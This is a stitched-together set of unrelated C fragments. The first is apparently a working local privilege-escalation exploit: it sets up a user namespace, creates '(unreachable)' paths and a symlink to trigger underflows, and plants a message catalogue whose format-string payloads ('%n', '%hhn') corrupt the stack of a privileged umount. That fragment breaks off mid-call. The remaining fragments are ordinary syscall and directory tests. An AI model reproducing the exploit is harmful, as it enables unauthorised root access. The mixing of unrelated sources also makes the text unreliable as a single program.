(slink); } END_TEST
/** Prepare a process living in an own mount namespace and setup * the mount structure appropriately. The process is created * in a way allowing cleanup at program end by just killing it, * thus removing the namespace. * @return the pid of that process or -1 on error. */ pid_t prepareNamespacedProcess() { if(namespacedProcessPid==-1) { fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n"); char *stackData=(char*)malloc(1<<20); assert(stackData); namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20), CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); if(namespacedProcessPid==-1) { fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno)); return(-1); } char idMapFileName[128]; char idMapData[128]; sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid); int setGroupsFd=open(idMapFileName, O_WRONLY); assert(setGroupsFd>=0); int result=write(setGroupsFd, "deny", 4); assert(result>0); close(setGroupsFd); sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid); int uidMapFd=open(idMapFileName, O_WRONLY); assert(uidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getuid()); result=write(uidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(uidMapFd); sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid); int gidMapFd=open(idMapFileName, O_WRONLY); assert(gidMapFd>=0); sprintf(idMapData, "0 %d 1\n", getgid()); result=write(gidMapFd, idMapData, strlen(idMapData)); assert(result>0); close(gidMapFd); // After setting the maps for the child process, the child may // start setting up the mount point. Wait for that to complete. sleep(1); fprintf(stderr, "Namespaced filesystem created with pid %d\n", namespacedProcessPid); } osReleaseExploitData=osSpecificExploitDataList; if(osRelease) { // If an OS was detected, try to find it in list. Otherwise use // default. for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) { if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) { osReleaseExploitData=osSpecificExploitDataList+tPos; break; } } } char pathBuffer[PATH_MAX]; int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd", namespacedProcessPid); assert(result<PATH_MAX); char *namespaceMountBaseDir=strdup(pathBuffer); assert(namespaceMountBaseDir); // Create directories needed for umount to proceed to final state // "not mounted". createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]); assert(result<PATH_MAX); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); result=snprintf(pathBuffer, sizeof(pathBuffer), "(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]); createDirectoryRecursive(namespaceMountBaseDir, pathBuffer); // Create symlink to trigger underflows. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down", namespaceMountBaseDir); assert(result<PATH_MAX); result=symlink(osReleaseExploitData[1], pathBuffer); assert(!result||(errno==EEXIST)); // getdate will leave that string in rdi to become the filename // to execute for the next round. char *selfPathName=realpath("/proc/self/exe", NULL); result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK", namespaceMountBaseDir); assert(result<PATH_MAX); int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755); assert(handle>0); result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused", selfPathName); assert(result<PATH_MAX); result=write(handle, pathBuffer, result); close(handle); free(selfPathName); // Write the initial message catalogue to trigger stack dumping // and to make the "umount" call privileged by toggling the "restricted" // flag in the context. result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo", namespaceMountBaseDir, osReleaseExploitData[2]); assert(result<PATH_MAX); char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8)); assert(stackDumpStr); char *stackDumpStrEnd=stackDumpStr; stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA", ((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]); for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { memcpy(stackDumpStrEnd, "%016lx", 6); stackDumpStrEnd+=6; } // We wrote allready 8 bytes, write so many more to produce a // count of 'L' and write that to the stack. As all writes so // sum up to a count aligned by 8, and 'L'==0x4c, we will have // to write at least 4 bytes, which is longer than any "%hhx" // format string output. Hence do not care about the byte content // here. The target write address has a 16 byte alignment due // to varg structure. stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn", ('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff, STACK_LONG_DUMP_BYTES/16); *stackDumpStrEnd=0; result=writeMessageCatalogue(pathBuffer, (char*[]){ "%s: mountpoint not found", "%s: not mounted", "%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" },
void setup(void) { int i, error; struct stat sb; size_t len; tests = calloc(NUM_OF_TESTS + 1, sizeof(struct test)); if (tests == NULL) { perror(""); exit(0); } absolute_path = (char *)getcwd(NULL, 0); if (absolute_path == NULL) { perror("getcwd"); exit(0); } len = strlen(absolute_path); absolute_path = realloc(absolute_path, len + 1 + strlen(relative_path) + 1); if (absolute_path == NULL) { perror("realloc"); exit(0); } absolute_path[len] = '/'; strcpy(absolute_path + len + 1, relative_path); absolute_file = malloc(strlen(absolute_path) + 1 + strlen(file)); bzero(absolute_file, strlen(absolute_path) + 1 + strlen(file)); if (absolute_file == NULL) { perror("malloc"); exit(0); } strcpy(absolute_file, absolute_path); absolute_file[strlen(absolute_file)] = '/'; strcpy(absolute_file + strlen(absolute_path), file); relative_file = malloc(strlen(relative_path) + 1 + strlen(file)); bzero(relative_file, strlen(relative_path) + 1 + strlen(file)); if (relative_file == NULL) { perror("malloc"); exit(0); } strcpy(relative_file, relative_path); relative_file[strlen(relative_file)] = '/'; strcpy(relative_file + strlen(relative_path), file); error = mkdir(relative_path, 0700); dir_exist = (errno == EEXIST); if (error && errno != EEXIST) { perror("tmp"); exit(0); } error = stat("tmp/foo", &sb); file_exist = (errno != ENOENT); i = open("tmp/foo", O_RDONLY | O_CREAT, 0666); if (i == -1) { perror("foo"); exit(0); } rel_fd = open(relative_path, O_RDONLY); if (rel_fd == -1) { perror("relative path"); exit(0); } abs_fd = open(absolute_path, O_RDONLY); if (abs_fd == -1) { perror("absolute path"); exit(0); } notd_fd = open(not_dir_path, O_RDONLY); if (notd_fd == -1) { perror("not a directory"); exit(0); } exec_fd = open(not_dir_path, O_RDONLY); if (exec_fd == -1) { perror("not a directory"); exit(0); } error = symlink(absolute_file, symlinkf); link_exist = (errno == EEXIST); if (error && errno != EEXIST) { perror("symlink"); exit(0); } /* faccessat */ tests[0].syscall = SYS_faccessat; tests[0].num_of_cases = 6; tests[0].name = "faccessat"; tests[0].tests[0].result = EBADF; tests[0].tests[0].params[0].i = 106; /* invalid fd */ tests[0].tests[0].params[1].cp = relative_path; tests[0].tests[0].params[2].m = 0; tests[0].tests[0].params[3].i = 0; tests[0].tests[1].result = EBADF; tests[0].tests[1].params[0].i = 106; /* invalid fd */ tests[0].tests[1].params[1].cp = relative_path; tests[0].tests[1].params[2].m = 0; tests[0].tests[1].params[3].i = AT_EACCESS; tests[0].tests[2].result = EINVAL; tests[0].tests[2].params[0].i = rel_fd; tests[0].tests[2].params[1].cp = absolute_path; tests[0].tests[2].params[2].m = 0; tests[0].tests[2].params[3].i = 123; /* invalid flag */ tests[0].tests[3].result = ENOTDIR; tests[0].tests[3].params[0].i = notd_fd; tests[0].tests[3].params[1].cp = relative_file; tests[0].tests[3].params[2].m = 0; tests[0].tests[3].params[3].i = 0; tests[0].tests[4].result = 0; tests[0].tests[4].params[0].i = rel_fd; tests[0].tests[4].params[1].cp = file; tests[0].tests[4].params[2].m = 0; tests[0].tests[4].params[3].i = 0; tests[0].tests[5].result = 0; tests[0].tests[5].params[0].i = rel_fd; tests[0].tests[5].params[1].cp = file; tests[0].tests[5].params[2].m = 0; tests[0].tests[5].params[3].i = AT_EACCESS; tests[0].tests[6].result = 0; tests[0].tests[6].params[0].i = 106; /* invalid fd */ tests[0].tests[6].params[1].cp = absolute_path; tests[0].tests[6].params[2].m = 0; tests[0].tests[6].params[3].i = 0; /* fchmodat */ tests[1].syscall = SYS_fchmodat; tests[1].num_of_cases = 6; tests[1].name = "fchmodat"; tests[1].tests[0].result = EBADF; tests[1].tests[0].params[0].i = 106; /* invalid fd */ tests[1].tests[0].params[1].cp = relative_path; tests[1].tests[0].params[2].m = 33190; tests[1].tests[0].params[3].i = 0; tests[1].tests[1].result = EINVAL; tests[1].tests[1].params[0].i = rel_fd; tests[1].tests[1].params[1].cp = absolute_path; tests[1].tests[1].params[2].m = 33190; /* mode 646 translated */ tests[1].tests[1].params[3].i = 123; /* invalid flag */ tests[1].tests[2].result = ENOTDIR; tests[1].tests[2].params[0].i = notd_fd; tests[1].tests[2].params[1].cp = relative_file; tests[1].tests[2].params[2].m = 33190; tests[1].tests[2].params[3].i = 0; tests[1].tests[3].result = 0; tests[1].tests[3].params[0].i = notd_fd; tests[1].tests[3].params[1].cp = absolute_file; tests[1].tests[3].params[2].m = 33190; tests[1].tests[3].params[3].i = 0; tests[1].tests[4].result = 0; tests[1].tests[4].params[0].i = AT_FDCWD; tests[1].tests[4].params[1].cp = symlinkf; tests[1].tests[4].params[2].m = 33190; tests[1].tests[4].params[3].i = AT_SYMLINK_NOFOLLOW; tests[1].tests[5].result = 0; tests[1].tests[5].params[0].i = rel_fd; tests[1].tests[5].params[1].cp = file; tests[1].tests[5].params[2].m = 33190; tests[1].tests[5].params[3].i = 0; /* fchownat */ tests[2].syscall = SYS_fchownat; tests[2].num_of_cases = 6; tests[2].name = "fchownat"; tests[2].tests[0].result = EBADF; tests[2].tests[0].params[0].i = 106; /* invalid fd */ tests[2].tests[0].params[1].cp = relative_file; tests[2].tests[0].params[2].u = 65534; tests[2].tests[0].params[3].g = 65534; tests[2].tests[0].params[4].i = 0; tests[2].tests[1].result = EINVAL; tests[2].tests[1].params[0].i = rel_fd; tests[2].tests[1].params[1].cp = file; tests[2].tests[1].params[2].u = 65534; tests[2].tests[1].params[3].g = 65534; tests[2].tests[1].params[4].i = 123; /* invalid flag */ tests[2].tests[2].result = ENOTDIR; tests[2].tests[2].params[0].i = notd_fd; tests[2].tests[2].params[1].cp = relative_file; tests[2].tests[2].params[2].u = 65534; tests[2].tests[2].params[3].g = 65534; tests[2].tests[2].params[4].i = 0; tests[2].tests[3].result = 0; tests[2].tests[3].params[0].i = notd_fd; tests[2].tests[3].params[1].cp = absolute_file; tests[2].tests[3].params[2].u = 65534; tests[2].tests[3].params[3].g = 65534; tests[2].tests[3].params[4].i = 0; tests[2].tests[4].result = 0; tests[2].tests[4].params[0].i = AT_FDCWD; tests[2].tests[4].params[1].cp = symlinkf; tests[2].tests[4].params[2].u = 65534; tests[2].tests[4].params[3].g = 65534; tests[2].tests[4].params[4].i = AT_SYMLINK_NOFOLLOW; tests[2].tests[5].result = 0; tests[2].tests[5].params[0].i = rel_fd; tests[2].tests[5].params[1].cp = file; tests[2].tests[5].params[2].u = 0; tests[2].tests[5].params[3].g = 0; tests[2].tests[5].params[4].i = 0; /* fstatat */ tests[3].syscall = SYS_fstatat; tests[3].num_of_cases = 5; tests[3].name = "fstatat"; tests[3].tests[0].result = EBADF; tests[3].tests[0].params[0].i = 106; /* invalid fd */ tests[3].tests[0].params[1].cp = relative_file; tests[3].tests[0].params[2].vp = &buf; tests[3].tests[0].params[3].i = 0; tests[3].tests[1].result = EINVAL; tests[3].tests[1].params[0].i = rel_fd; tests[3].tests[1].params[1].cp = relative_file; tests[3].tests[1].params[2].vp = &buf; tests[3].tests[1].params[3].i = 123; /* invalid flags */ tests[3].tests[2].result = ENOTDIR; tests[3].tests[2].params[0].i = notd_fd; tests[3].tests[2].params[1].cp = relative_file; tests[3].tests[2].params[2].vp = &buf; tests[3].tests[2].params[3].i = 0; tests[3].tests[2].result = 0; tests[3].tests[2].params[0].i = rel_fd; tests[3].tests[2].params[1].cp = file; tests[3].tests[2].params[2].vp = &buf; tests[3].tests[2].params[3].i = 0; tests[3].tests[3].result = 0; tests[3].tests[3].params[0].i = AT_FDCWD; tests[3].tests[3].params[1].cp = symlinkf; tests[3].tests[3].params[2].vp = &buf; tests[3].tests[3].params[3].i = AT_SYMLINK_NOFOLLOW; tests[3].tests[4].result = 0; tests[3].tests[4].params[0].i = notd_fd; tests[3].tests[4].params[1].cp = absolute_file; tests[3].tests[4].params[2].vp = &buf; tests[3].tests[4].params[3].i = 0; /* futimesat */ tests[4].syscall = SYS_futimesat; tests[4].num_of_cases = 4; tests[4].name = "futimesat"; tests[4].tests[0].result = EBADF; tests[4].tests[0].params[0].i = 106; /* invalid fd */ tests[4].tests[0].params[1].cp = relative_file; tests[4].tests[0].params[2].vp = times; tests[4].tests[1].result = ENOTDIR; tests[4].tests[1].params[0].i = notd_fd; tests[4].tests[1].params[1].cp = relative_file; tests[4].tests[1].params[2].vp = times; tests[4].tests[2].result = 0; tests[4].tests[2].params[0].i = rel_fd; tests[4].tests[2].params[1].cp = file; tests[4].tests[2].params[2].vp = times; tests[4].tests[3].result = 0; tests[4].tests[3].params[0].i = notd_fd; tests[4].tests[3].params[1].cp = absolute_file; tests[4].tests[3].params[2].vp = times; /* linkat */ tests[5].syscall = SYS_linkat; tests[5].num_of_cases = 7; tests[5].name = "linkat"; tests[5].tests[0].result = EBADF; tests[5].tests[0].params[0].i = 106; /* invalid fd */ tests[5].tests[0].params[1].cp = relative_file; tests[5].tests[0].params[2].i = AT_FDCWD; tests[5].tests[0].params[3].cp = newlink; tests[5].tests[0].params[4].i = 0; tests[5].tests[1].result = EBADF; tests[5].tests[1].params[0].i = AT_FDCWD; tests[5].tests[1].params[1].cp = relative_file; tests[5].tests[1].params[2].i = 106; /* invalid fd */ tests[5].tests[1].params[3].cp = newlink; tests[5].tests[1].params[4].i = 0; tests[5].tests[2].result = EINVAL; tests[5].tests[2].params[0].i = rel_fd; tests[5].tests[2].params[1].cp = relative_file; tests[5].tests[2].params[2].i = AT_FDCWD; tests[5].tests[2].params[3].cp = newlink; tests[5].tests[2].params[4].i = 123; /* invalid flag */ tests[5].tests[3].result = ENOTDIR; tests[5].tests[3].params[0].i = notd_fd; tests[5].tests[3].params[1].cp = relative_file; tests[5].tests[3].params[2].i = AT_FDCWD; tests[5].tests[3].params[3].cp = newlink; tests[5].tests[3].params[4].i = 0; tests[5].tests[4].result = 0; tests[5].tests[4].params[0].i = rel_fd; tests[5].tests[4].params[1].cp = file; tests[5].tests[4].params[2].i = rel_fd; tests[5].tests[4].params[3].cp = newlink; tests[5].tests[4].params[4].i = 0; tests[5].tests[5].result = 0; tests[5].tests[5].params[0].i = AT_FDCWD; tests[5].tests[5].params[1].cp = symlinkf; tests[5].tests[5].params[2].i = rel_fd; tests[5].tests[5].params[3].cp = newlink2; tests[5].tests[5].params[4].i = 0; tests[5].tests[6].result = 0; tests[5].tests[6].params[0].i = AT_FDCWD; tests[5].tests[6].params[1].cp = symlinkf; tests[5].tests[6].params[2].i = rel_fd; tests[5].tests[6].params[3].cp = newlink3; tests[5].tests[6].params[4].i = AT_SYMLINK_FOLLOW; /* mkdirat */ tests[6].syscall = SYS_mkdirat; tests[6].num_of_cases = 3; tests[6].name = "mkdirat"; tests[6].tests[0].result = EBADF; tests[6].tests[0].params[0].i = 106; /* invalid fd */ tests[6].tests[0].params[1].cp = relative_file; tests[6].tests[0].params[2].m = 33190; tests[6].tests[1].result = ENOTDIR; tests[6].tests[1].params[0].i = notd_fd; tests[6].tests[1].params[1].cp = relative_file; tests[6].tests[1].params[2].m = 33190; tests[6].tests[2].result = 0; tests[6].tests[2].params[0].i = rel_fd; tests[6].tests[2].params[1].cp = newdir; tests[6].tests[2].params[2].m = 33190; /* mkfifoat */ tests[7].syscall = SYS_mkfifoat; tests[7].num_of_cases = 3; tests[7].name = "mkfifoat"; tests[7].tests[0].result = EBADF; tests[7].tests[0].params[0].i = 107; /* invalid fd */ tests[7].tests[0].params[1].cp = relative_file; tests[7].tests[0].params[2].m = 33190; tests[7].tests[1].result = ENOTDIR; tests[7].tests[1].params[0].i = notd_fd; tests[7].tests[1].params[1].cp = relative_file; tests[7].tests[1].params[2].m = 33190; tests[7].tests[2].result = 0; tests[7].tests[2].params[0].i = rel_fd; tests[7].tests[2].params[1].cp = fifo; tests[7].tests[2].params[2].m = 33190; /* mknodat */ tests[8].syscall = SYS_mknodat; tests[8].num_of_cases = 3; tests[8].name = "mknodat"; tests[8].tests[0].result = EBADF; tests[8].tests[0].params[0].i = 108; /* invalid fd */ tests[8].tests[0].params[1].cp = relative_file; tests[8].tests[0].params[2].m = 0666 | S_IFCHR; tests[8].tests[0].params[3].d = 15; tests[8].tests[1].result = ENOTDIR; tests[8].tests[1].params[0].i = notd_fd; tests[8].tests[1].params[1].cp = relative_file; tests[8].tests[1].params[2].m = 0666 | S_IFCHR; tests[8].tests[1].params[3].d = 15; tests[8].tests[2].result = 0; tests[8].tests[2].params[0].i = rel_fd; tests[8].tests[2].params[1].cp = nod; tests[8].tests[2].params[2].m = 0666 | S_IFCHR; tests[8].tests[2].params[3].d = 2570; /* openat */ tests[9].syscall = SYS_openat; tests[9].num_of_cases = 5; tests[9].name = "openat"; tests[9].tests[0].result = EBADF; tests[9].tests[0].params[0].i = 106; /* invalid fd */ tests[9].tests[0].params[1].cp = relative_file; tests[9].tests[0].params[2].i = O_RDONLY; tests[9].tests[0].params[3].i = 0666; tests[9].tests[1].result = ENOTDIR; tests[9].tests[1].params[0].i = notd_fd; tests[9].tests[1].params[1].cp = relative_file; tests[9].tests[1].params[2].i = O_RDONLY; tests[9].tests[1].params[3].i = 0666; tests[9].tests[2].result = 8; /* hardcoded fd */ tests[9].tests[2].params[0].i = rel_fd; tests[9].tests[2].params[1].cp = file; tests[9].tests[2].params[2].i = O_RDONLY; tests[9].tests[2].params[3].i = 0400; tests[9].tests[3].result = 9; /* hardcoded fd */ tests[9].tests[3].params[0].i = notd_fd; tests[9].tests[3].params[1].cp = absolute_file; tests[9].tests[3].params[2].i = O_RDONLY; tests[9].tests[3].params[3].i = 0400; tests[9].tests[4].result = 10; /* hardcoded fd */ tests[9].tests[4].params[0].i = rel_fd; tests[9].tests[4].params[1].cp = newfile; tests[9].tests[4].params[2].i = O_RDONLY | O_CREAT; tests[9].tests[4].params[3].i = 0666; /* readlinkat */ tests[10].syscall = SYS_readlinkat; tests[10].num_of_cases = 3; tests[10].name = "readlinkat"; tests[10].tests[0].result = EBADF; tests[10].tests[0].params[0].i = 106; /* invalid fd */ tests[10].tests[0].params[1].cp = relative_file; tests[10].tests[0].params[2].vp = cbuf; tests[10].tests[0].params[3].i = PATH_MAX; tests[10].tests[1].result = ENOTDIR; tests[10].tests[1].params[0].i = notd_fd; tests[10].tests[1].params[1].cp = relative_file; tests[10].tests[1].params[2].vp = cbuf; tests[10].tests[1].params[3].i = PATH_MAX; tests[10].tests[2].result = strlen(absolute_file); tests[10].tests[2].params[0].i = AT_FDCWD; tests[10].tests[2].params[1].cp = symlinkf; tests[10].tests[2].params[2].vp = cbuf; tests[10].tests[2].params[3].i = PATH_MAX; /* renameat */ tests[11].syscall = SYS_renameat; tests[11].num_of_cases = 5; tests[11].name = "renameat"; tests[11].tests[0].result = EBADF; tests[11].tests[0].params[0].i = 106; /* invalid fd */ tests[11].tests[0].params[1].cp = file; tests[11].tests[0].params[2].i = rel_fd; tests[11].tests[0].params[3].cp = file; tests[11].tests[1].result = EBADF; tests[11].tests[1].params[0].i = rel_fd; tests[11].tests[1].params[1].cp = file; tests[11].tests[1].params[2].i = 106; /* invalid fd */ tests[11].tests[1].params[3].cp = file; tests[11].tests[2].result = ENOTDIR; tests[11].tests[2].params[0].i = notd_fd; tests[11].tests[2].params[1].cp = relative_file; tests[11].tests[2].params[2].i = rel_fd; tests[11].tests[2].params[3].cp = file; tests[11].tests[3].result = ENOTDIR; tests[11].tests[3].params[0].i = rel_fd; tests[11].tests[3].params[1].cp = file; tests[11].tests[3].params[2].i = notd_fd; tests[11].tests[3].params[3].cp = relative_file; tests[11].tests[4].result = 0; tests[11].tests[4].params[0].i = rel_fd; tests[11].tests[4].params[1].cp = newfile; tests[11].tests[4].params[2].i = AT_FDCWD; tests[11].tests[4].params[3].cp = newfile; /* symlinkat */ tests[12].syscall = SYS_symlinkat; tests[12].num_of_cases = 3; tests[12].name = "symlinkat"; tests[12].tests[0].result = EBADF; tests[12].tests[0].params[0].cp = file; tests[12].tests[0].params[1].i = 106; /* invalid fd */ tests[12].tests[0].params[2].cp = file; tests[12].tests[1].result = ENOTDIR; tests[12].tests[1].params[0].cp = file; tests[12].tests[1].params[1].i = notd_fd; tests[12].tests[1].params[2].cp = relative_file; tests[12].tests[2].result = 0; tests[12].tests[2].params[0].cp = absolute_file; tests[12].tests[2].params[1].i = rel_fd; tests[12].tests[2].params[2].cp = newslink; /* unlinkat */ tests[13].syscall = SYS_unlinkat; tests[13].num_of_cases = 7; tests[13].name = "unlinkat"; tests[13].tests[0].result = EBADF; tests[13].tests[0].params[0].i = 106; /* invalid fd */ tests[13].tests[0].params[1].cp = relative_file; tests[13].tests[0].params[2].i = 0; tests[13].tests[1].result = ENOTDIR; tests[13].tests[1].params[0].i = notd_fd; tests[13].tests[1].params[1].cp = relative_file; tests[13].tests[1].params[2].i = 0; tests[13].tests[2].result = EINVAL; tests[13].tests[2].params[0].i = rel_fd; tests[13].tests[2].params[1].cp = file; tests[13].tests[2].params[2].i = 123; /* invalid flag */ tests[13].tests[3].result = ENOTDIR; tests[13].tests[3].params[0].i = rel_fd; tests[13].tests[3].params[1].cp = not_dir_path; tests[13].tests[3].params[2].i = AT_REMOVEDIR; tests[13].tests[4].result = ENOTEMPTY; tests[13].tests[4].params[0].i = AT_FDCWD; tests[13].tests[4].params[1].cp = relative_path; tests[13].tests[4].params[2].i = AT_REMOVEDIR; tests[13].tests[5].result = 0; tests[13].tests[5].params[0].i = rel_fd; tests[13].tests[5].params[1].cp = newdir; tests[13].tests[5].params[2].i = AT_REMOVEDIR; tests[13].tests[6].result = 0; tests[13].tests[6].params[0].i = AT_FDCWD; tests[13].tests[6].params[1].cp = newfile; tests[13].tests[6].params[2].i = 0; /* fexecve */ tests[14].syscall = SYS_fexecve; tests[14].num_of_cases = 2; tests[14].name = "fexecve"; tests[14].tests[0].result = EBADF; tests[14].tests[0].params[0].i = 106; /* invalid fd */ tests[14].tests[0].params[1].cpp = pargv; tests[14].tests[0].params[2].cpp = NULL; /* This is EXPECTED to execve /bin/date, so dont expect OK output */ tests[14].tests[1].result = 0; tests[14].tests[1].params[0].i = exec_fd; tests[14].tests[1].params[1].cpp = pargv; tests[14].tests[1].params[2].cpp = NULL; }
/* We expect four arguments: - source directory name - object directory - common object directory - the program name with path */ int main (int argc, char *argv[]) { const char *srcdir; const char *objdir; const char *common_objdir; const char *progpath; struct stat64 st1; struct stat64 st2; struct stat64 st3; DIR *dir1; DIR *dir2; int result = 0; struct dirent64 *d; struct dirent64 direntbuf; char *objdir_copy1; char *objdir_copy2; char *buf; int fd; mtrace (); if (argc < 5) { puts ("not enough parameters"); exit (1); } /* Make parameters available with nicer names. */ srcdir = argv[1]; objdir = argv[2]; common_objdir = argv[3]; progpath = argv[4]; /* First test the current source dir. We cannot really compare the result of `getpwd' with the srcdir string but we have other means. */ if (stat64 (".", &st1) < 0) { printf ("cannot stat starting directory: %m\n"); exit (1); } if (chdir (srcdir) < 0) { printf ("cannot change to source directory: %m\n"); exit (1); } if (stat64 (".", &st2) < 0) { printf ("cannot stat source directory: %m\n"); exit (1); } /* The two last stat64 calls better were for the same directory. */ if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { printf ("stat of source directory failed: (%lld,%lld) vs (%lld,%lld)\n", (long long int) st1.st_dev, (long long int) st1.st_ino, (long long int) st2.st_dev, (long long int) st2.st_ino); exit (1); } /* Change to the object directory. */ if (chdir (objdir) < 0) { printf ("cannot change to object directory: %m\n"); exit (1); } if (stat64 (".", &st1) < 0) { printf ("cannot stat object directory: %m\n"); exit (1); } /* Is this the same we get as with the full path? */ if (stat64 (objdir, &st2) < 0) { printf ("cannot stat object directory with full path: %m\n"); exit (1); } if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { printf ("stat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n", (long long int) st1.st_dev, (long long int) st1.st_ino, (long long int) st2.st_dev, (long long int) st2.st_ino); exit (1); } objdir_copy1 = getcwd (NULL, 0); if (objdir_copy1 == NULL) { printf ("cannot get current directory name for object directory: %m\n"); result = 1; } /* First test: this directory must include our program. */ if (stat64 (progpath, &st2) < 0) { printf ("cannot stat program: %m\n"); exit (1); } dir1 = opendir ("."); if (dir1 == NULL) { printf ("cannot open object directory: %m\n"); exit (1); } while ((d = readdir64 (dir1)) != NULL) { #ifdef _DIRENT_HAVE_D_TYPE if (d->d_type != DT_UNKNOWN && d->d_type != DT_REG) continue; #endif if (d->d_ino == st2.st_ino) { /* Might be it. Test the device. We could use the st_dev element from st1 but what the heck, do more testing. */ if (stat64 (d->d_name, &st3) < 0) { printf ("cannot stat entry from readdir: %m\n"); result = 1; d = NULL; break; } if (st3.st_dev == st2.st_dev) break; } } if (d == NULL) { puts ("haven't found program in object directory"); result = 1; } /* We leave dir1 open. */ /* Stat using file descriptor. */ if (fstat64 (dirfd (dir1), &st2) < 0) { printf ("cannot fstat object directory: %m\n"); result = 1; } if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { printf ("fstat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n", (long long int) st1.st_dev, (long long int) st1.st_ino, (long long int) st2.st_dev, (long long int) st2.st_ino); exit (1); } if (chdir ("..") < 0) { printf ("cannot go to common object directory with \"..\": %m\n"); exit (1); } if (stat64 (".", &st1) < 0) { printf ("cannot stat common object directory: %m\n"); exit (1); } /* Is this the same we get as with the full path? */ if (stat64 (common_objdir, &st2) < 0) { printf ("cannot stat common object directory with full path: %m\n"); exit (1); } if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { printf ("stat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n", (long long int) st1.st_dev, (long long int) st1.st_ino, (long long int) st2.st_dev, (long long int) st2.st_ino); exit (1); } /* Stat using file descriptor. */ if (fstat64 (dirfd (dir1), &st2) < 0) { printf ("cannot fstat object directory: %m\n"); result = 1; } dir2 = opendir (common_objdir); if (dir2 == NULL) { printf ("cannot open common object directory: %m\n"); exit (1); } while ((d = readdir64 (dir2)) != NULL) { #ifdef _DIRENT_HAVE_D_TYPE if (d->d_type != DT_UNKNOWN && d->d_type != DT_DIR) continue; #endif if (d->d_ino == st2.st_ino) { /* Might be it. Test the device. We could use the st_dev element from st1 but what the heck, do more testing. */ if (stat64 (d->d_name, &st3) < 0) { printf ("cannot stat entry from readdir: %m\n"); result = 1; d = NULL; break; } if (st3.st_dev == st2.st_dev) break; } } /* This better should be the object directory again. */ if (fchdir (dirfd (dir1)) < 0) { printf ("cannot fchdir to object directory: %m\n"); exit (1); } objdir_copy2 = getcwd (NULL, 0); if (objdir_copy2 == NULL) { printf ("cannot get current directory name for object directory: %m\n"); result = 1; } if (strcmp (objdir_copy1, objdir_copy2) != 0) { puts ("getcwd returned a different string the second time"); result = 1; } /* This better should be the common object directory again. */ if (fchdir (dirfd (dir2)) < 0) { printf ("cannot fchdir to common object directory: %m\n"); exit (1); } if (stat64 (".", &st2) < 0) { printf ("cannot stat common object directory: %m\n"); exit (1); } if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino) { printf ("stat of object directory failed: (%lld,%lld) vs (%lld,%lld)\n", (long long int) st1.st_dev, (long long int) st1.st_ino, (long long int) st2.st_dev, (long long int) st2.st_ino); exit (1); } buf = (char *) malloc (strlen (objdir_copy1) + 1 + sizeof "tst-dir.XXXXXX"); if (buf == NULL) { printf ("cannot allocate buffer: %m"); exit (1); } stpcpy (stpcpy (stpcpy (buf, objdir_copy1), "/"), "tst-dir.XXXXXX"); if (mkdtemp (buf) == NULL) { printf ("cannot create test directory in object directory: %m\n"); exit (1); } if (stat64 (buf, &st1) < 0) { printf ("cannot stat new directory \"%s\": %m\n", buf); exit (1); } if (chmod (buf, 0700) < 0) { printf ("cannot change mode of new directory: %m\n"); exit (1); } /* Try to find the new directory. */ rewinddir (dir1); while (readdir64_r (dir1, &direntbuf, &d) == 0 && d != NULL) { #ifdef _DIRENT_HAVE_D_TYPE if (d->d_type != DT_UNKNOWN && d->d_type != DT_DIR) continue; #endif if (d->d_ino == st1.st_ino) { /* Might be it. Test the device. We could use the st_dev element from st1 but what the heck, do more testing. */ size_t len = strlen (objdir) + 1 + _D_EXACT_NAMLEN (d) + 1; char tmpbuf[len]; stpcpy (stpcpy (stpcpy (tmpbuf, objdir), "/"), d->d_name); if (stat64 (tmpbuf, &st3) < 0) { printf ("cannot stat entry from readdir: %m\n"); result = 1; d = NULL; break; } if (st3.st_dev == st2.st_dev && strcmp (d->d_name, buf + strlen (buf) - 14) == 0) break; } } if (d == NULL) { printf ("haven't found new directory \"%s\"\n", buf); exit (1); } if (closedir (dir2) < 0) { printf ("closing dir2 failed: %m\n"); result = 1; } if (chdir (buf) < 0) { printf ("cannot change to new directory: %m\n"); exit (1); } dir2 = opendir 